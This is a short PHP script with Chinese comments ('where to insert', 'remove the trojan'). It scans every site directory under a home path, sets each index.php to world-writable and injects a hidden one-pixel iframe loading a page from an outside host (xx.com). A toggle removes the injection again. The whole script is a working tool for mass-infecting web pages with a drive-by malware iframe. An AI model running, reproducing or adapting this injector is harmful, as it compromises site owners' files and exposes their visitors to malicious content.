$p = "/home/xxx/";
$iHere = "function ";//从何处插入
$txt = "print(\"<iframe src='http://xx.com/xx.html' frameborder='0' width='1' height='1'></iframe>\");\r\n";
$bClear = false;//摘马

function gettxt($F)
{
	$T = "";
	$P = @fopen($F, "r");
	$T = @fread($P,filesize($F));
	@fclose($P);
	return $T;
}

function settxt($F, $T)
{
	$P = @fopen($F, "w");
	$R = @fwrite($P, $T);
	@fclose($P);
	return $R;
}

$m = @dir($p);
while(@$f=$m->read())
{
	$pf = "${p}/${f}";
	if((is_dir($pf))&&($f!=".")&&($f!=".."))
	{
		$edtfile = "${pf}/index.php";
		if (file_exists($edtfile))
		{
			print $edtfile."\t";
			@chmod($edtfile, 0777);
			$T = gettxt($edtfile);
			if ($bClear)
			{
				$D = str_replace($txt, "", $T);
			}
			else
			{
				$i = strpos($T, $iHere);
				if ($i)
				{
					$D = substr($T, 0, $i).$txt.substr($T, $i);
				}
			}
			print settxt($edtfile, $D)?"seted!\r\n":"\tseterr!\r\n";
		}
	}
}
$m->close();